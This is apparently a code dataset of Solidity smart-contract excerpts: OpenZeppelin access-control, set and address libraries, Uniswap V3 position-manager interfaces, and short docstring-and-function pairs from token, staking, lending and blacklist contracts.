on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; contract AccessRoleCommon { bytes32 public constant ADMIN_ROLE = keccak256("ADMIN"); bytes32 public constant MINTER_ROLE = keccak256("MINTER"); bytes32 public constant BURNER_ROLE = keccak256("BURNER"); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: Unlicense pragma solidity ^0.7.6; library LibUniswapV3Stake { struct StakeLiquidity { address owner; uint256 idIndex; uint128 liquidity; int24 tickLower; int24 tickUpper; uint32 startTime; uint32 claimedTime; uint160 secondsInsideInitial; uint160 secondsInsideLast; bool claimLock; bool withdraw; } struct StakedTokenAmount { uint256 amount; uint32 startTime; uint32 claimedTime; uint256 claimedAmount; uint256 nonMiningAmount; } struct StakedTotalTokenAmount { bool staked; uint256 totalDepositAmount; uint256 totalMiningAmount; uint256 totalNonMiningAmount; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; import '@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol'; import './IPoolInitializer.sol'; import './IERC721Permit.sol'; import './IPeripheryPayments.sol'; import './IPeripheryImmutableState.sol'; import '../libraries/PoolAddress.sol'; /// @title Non-fungible token for positions /// @notice Wraps Uniswap V3 positions in a non-fungible token interface which allows for them to be transferred /// and authorized. interface INonfungiblePositionManager is IPoolInitializer, IPeripheryPayments, IPeripheryImmutableState, IERC721Metadata, IERC721Enumerable, IERC721Permit { /// @notice Emitted when liquidity is increased for a position NFT /// @dev Also emitted when a token is minted /// @param tokenId The ID of the token for which liquidity was increased /// @param liquidity The amount by which liquidity for the NFT position was increased /// @param amount0 The amount of token0 that was paid for the increase in liquidity /// @param amount1 The amount of token1 that was paid for the increase in liquidity event IncreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); /// @notice Emitted when liquidity is decreased for a position NFT /// @param tokenId The ID of the token for which liquidity was decreased /// @param liquidity The amount by which liquidity for the NFT position was decreased /// @param amount0 The amount of token0 that was accounted for the decrease in liquidity /// @param amount1 The amount of token1 that was accounted for the decrease in liquidity event DecreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); /// @notice Emitted when tokens are collected for a position NFT /// @dev The amounts reported may not be exactly equivalent to the amounts transferred, due to rounding behavior /// @param tokenId The ID of the token for which underlying tokens were collected /// @param recipient The address of the account that received the collected tokens /// @param amount0 The amount of token0 owed to the position that was collected /// @param amount1 The amount of token1 owed to the position that was collected event Collect(uint256 indexed tokenId, address recipient, uint256 amount0, uint256 amount1); /// @notice Returns the position information associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the position /// @return nonce The nonce for permits /// @return operator The address that is approved for spending /// @return token0 The address of the token0 for a specific pool /// @return token1 The address of the token1 for a specific pool /// @return fee The fee associated with the pool /// @return tickLower The lower end of the tick range for the position /// @return tickUpper The higher end of the tick range for the position /// @return liquidity The liquidity of the position /// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position /// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position /// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation /// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation function positions(uint256 tokenId) external view returns ( uint96 nonce, address operator, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); struct MintParams { address token0; address token1; uint24 fee; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; address recipient; uint256 deadline; } /// @notice Creates a new position wrapped in a NFT /// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized /// a method does not exist, i.e. the pool is assumed to be initialized. /// @param params The params necessary to mint a position, encoded as `MintParams` in calldata /// @return tokenId The ID of the token that represents the minted position /// @return liquidity The amount of liquidity for this position /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function mint(MintParams calldata params) external payable returns ( uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1 ); struct IncreaseLiquidityParams { uint256 tokenId; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } /// @notice Increases the amount of liquidity in a position, with tokens paid by the `msg.sender` /// @param params tokenId The ID of the token for which liquidity is being increased, /// amount0Desired The desired amount of token0 to be spent, /// amount1Desired The desired amount of token1 to be spent, /// amount0Min The minimum amount of token0 to spend, which serves as a slippage check, /// amount1Min The minimum amount of token1 to spend, which serves as a slippage check, /// deadline The time by which the transaction must be included to effect the change /// @return liquidity The new liquidity amount as a result of the increase /// @return amount0 The amount of token0 to acheive resulting liquidity /// @return amount1 The amount of token1 to acheive resulting liquidity function increaseLiquidity(IncreaseLiquidityParams calldata params) external payable returns ( uint128 liquidity, uint256 amount0, uint256 amount1 ); struct DecreaseLiquidityParams { uint256 tokenId; uint128 liquidity; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } /// @notice Decreases the amount of liquidity in a position and accounts it to the position /// @param params tokenId The ID of the token for which liquidity is being decreased, /// amount The amount by which liquidity will be decreased, /// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity, /// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity, /// deadline The time by which the transaction must be included to effect the change /// @return amount0 The amount of token0 accounted to the position's tokens owed /// @return amount1 The amount of token1 accounted to the position's tokens owed function decreaseLiquidity(DecreaseLiquidityParams calldata params) external payable returns (uint256 amount0, uint256 amount1); struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } /// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient /// @param params tokenId The ID of the NFT for which tokens are being collected, /// recipient The account that should receive the tokens, /// amount0Max The maximum amount of token0 to collect, /// amount1Max The maximum amount of token1 to collect /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1); /// @notice Burns a token ID, which deletes it from the NFT contract. The token must have 0 liquidity and all tokens /// must be collected first. /// @param tokenId The ID of the token that is being burned function burn(uint256 tokenId) external payable; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; /// @title Creates and initializes V3 Pools /// @notice Provides a method for creating and initializing a pool, if necessary, for bundling with other methods that /// require the pool to exist. interface IPoolInitializer { /// @notice Creates a new pool if it does not exist, then initializes if not initialized /// @dev This method can be bundled with others via IMulticall for the first action (e.g. mint) performed against a pool /// @param token0 The contract address of token0 of the pool /// @param token1 The contract address of token1 of the pool /// @param fee The fee amount of the v3 pool for the specified token pair /// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value /// @return pool Returns the pool address based on the pair of tokens and fee, will return the newly created pool address if necessary function createAndInitializePoolIfNecessary( address token0, address token1, uint24 fee, uint160 sqrtPriceX96 ) external payable returns (address pool); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; /// @title ERC721 with permit /// @notice Extension to ERC721 that includes a permit function for signature based approvals interface IERC721Permit is IERC721 { /// @notice The permit typehash used in the permit signature /// @return The typehash for the permit function PERMIT_TYPEHASH() external pure returns (bytes32); /// @notice The domain separator used in the permit signature /// @return The domain seperator used in encoding of permit signature function DOMAIN_SEPARATOR() external view returns (bytes32); /// @notice Approve of a specific token ID for spending by spender via signature /// @param spender The account that is being approved /// @param tokenId The ID of the token that is being approved for spending /// @param deadline The deadline timestamp by which the call must be mined for the approve to work /// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s` /// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s` /// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v` function permit( address spender, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external payable; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; /// @title Periphery Payments /// @notice Functions to ease deposits and withdrawals of ETH interface IPeripheryPayments { /// @notice Unwraps the contract's WETH9 balance and sends it to recipient as ETH. /// @dev The amountMinimum parameter prevents malicious contracts from stealing WETH9 from users. /// @param amountMinimum The minimum amount of WETH9 to unwrap /// @param recipient The address receiving ETH function unwrapWETH9(uint256 amountMinimum, address recipient) external payable; /// @notice Refunds any ETH balance held by this contract to the `msg.sender` /// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps /// that use ether for the input amount function refundETH() external payable; /// @notice Transfers the full amount of a token held by this contract to recipient /// @dev The amountMinimum parameter prevents malicious contracts from stealing the token from users /// @param token The contract address of the token which will be transferred to `recipient` /// @param amountMinimum The minimum amount of token required for a transfer /// @param recipient The destination address of the token function sweepToken( address token, uint256 amountMinimum, address recipient ) external payable; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Immutable state /// @notice Functions that return immutable state of the router interface IPeripheryImmutableState { /// @return Returns the address of the Uniswap V3 factory function factory() external view returns (address); /// @return Returns the address of WETH9 function WETH9() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
_tokenId's position _tokenId tokenId return nonce the nonce for permits return operator the address that is approved for spending this token return token0 The address of the token0 for pool return token1 The address of the token1 for pool return fee The fee associated with the pool return tickLower The lower end of the tick range for the position return tickUpper The higher end of the tick range for the position return liquidity The liquidity of the position return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation
function npmPositions(uint256 _tokenId) external view override nonZeroAddress(address(nonfungiblePositionManager)) returns ( uint96 nonce, address operator, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ) { return nonfungiblePositionManager.positions(_tokenId); }
12,109,805
./partial_match/1/0xc9918B2B42524277E2D08a8F49C9747F68A0A679/sources/SHIRO.sol
Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}./
function decimals() public view virtual override returns (uint8) { return 18; }
2,603,092
./full_match/42161/0x5bBacBb0EA1B5d450d92850cB8AB5f1AAD92C97A/sources/gist-17a8c2cf6c1a3e0ddc7d724e1e52f122/NFTEarthStaking.sol
Claim rewards for array of EARTHLINGS NFTs _nfts Array of NFTs owned and committed by the msg.sender/
function claimSelfEARTHLINGS(uint256[] calldata _nfts) external { _claimNft(EARTHLINGS_POOL_ID, _nfts, msg.sender); }
16,301,153
./partial_match/71402/0x37FAA4edC73de72378281a57F32374355b0d356B/sources/contracts/protocol/tokenization/VariableDebtToken.sol
Burns user variable debt - Only callable by the LendingPool user The user whose debt is getting burned amount The amount getting burned index The variable debt index of the reserve/
function burn( address user, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); emit Transfer(user, address(0), amountScaled); emit Burn(user, amountScaled, index); }
16,894,795
./partial_match/11155111/0x1126E5AfB588d39C3C5465a15aF389146D309581/sources/src/L1/SystemConfig.sol
Getter for the L1CrossDomainMessenger address.
function l1CrossDomainMessenger() external view returns (address addr_) { addr_ = _getAddress(L1_CROSS_DOMAIN_MESSENGER_SLOT); }
3,533,474
// SPDX-License-Identifier: MIT /// @title OMNI Token V1 / Ethereum v1 /// @author Alfredo Lopez / Arthur Miranda / OMNI App 2021.5 */ pragma solidity 0.8.4; import "../@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; /** * @title Blacklistable Methods * @dev Allows accounts to be blacklisted by Owner */ contract Blacklistable is OwnableUpgradeable { // Index Address address[] private wallets; // Mapping blacklisted Address mapping(address => bool) private blacklisted; // Events when add or drop a wallets in the blacklisted mapping event InBlacklisted(address indexed _account); event OutBlacklisted(address indexed _account); /** * @dev Throws if argument account is blacklisted * @param _account The address to check */ modifier notBlacklisted(address _account) { require( !blacklisted[_account], "ERC20 OMN: sender account is blacklisted" ); _; } /** * @dev Throws if a given address is equal to address(0) * @param _to The address to check */ modifier validAddress(address _to) { require(_to != address(0), "ERC20 OMN: Not Add Zero Address"); /* solcov ignore next */ _; } /** * @dev Checks if account is blacklisted * @param _account The address to check */ function isBlacklisted(address _account) public view returns (bool) { return blacklisted[_account]; } /** * @dev Adds account to blacklist * @param _account The address to blacklist */ function addBlacklist(address _account) public validAddress(_account) notBlacklisted(_account) onlyOwner() { blacklisted[_account] = true; wallets.push(_account); emit InBlacklisted(_account); } /** * @dev Removes account from blacklist * @param _account The address to remove from the blacklist */ function dropBlacklist(address _account) public validAddress(_account) onlyOwner() { require(isBlacklisted(_account), "ERC20 OMN: Wallet don't exist"); blacklisted[_account] = false; emit OutBlacklisted(_account); } /** * @dev Getting the List of Address Blacklisted */ function getBlacklist() public view returns (address[] memory) { return wallets; } }
Adds account to blacklist _account The address to blacklist/
function addBlacklist(address _account) public validAddress(_account) notBlacklisted(_account) onlyOwner() { blacklisted[_account] = true; wallets.push(_account); emit InBlacklisted(_account); }
5,463,963
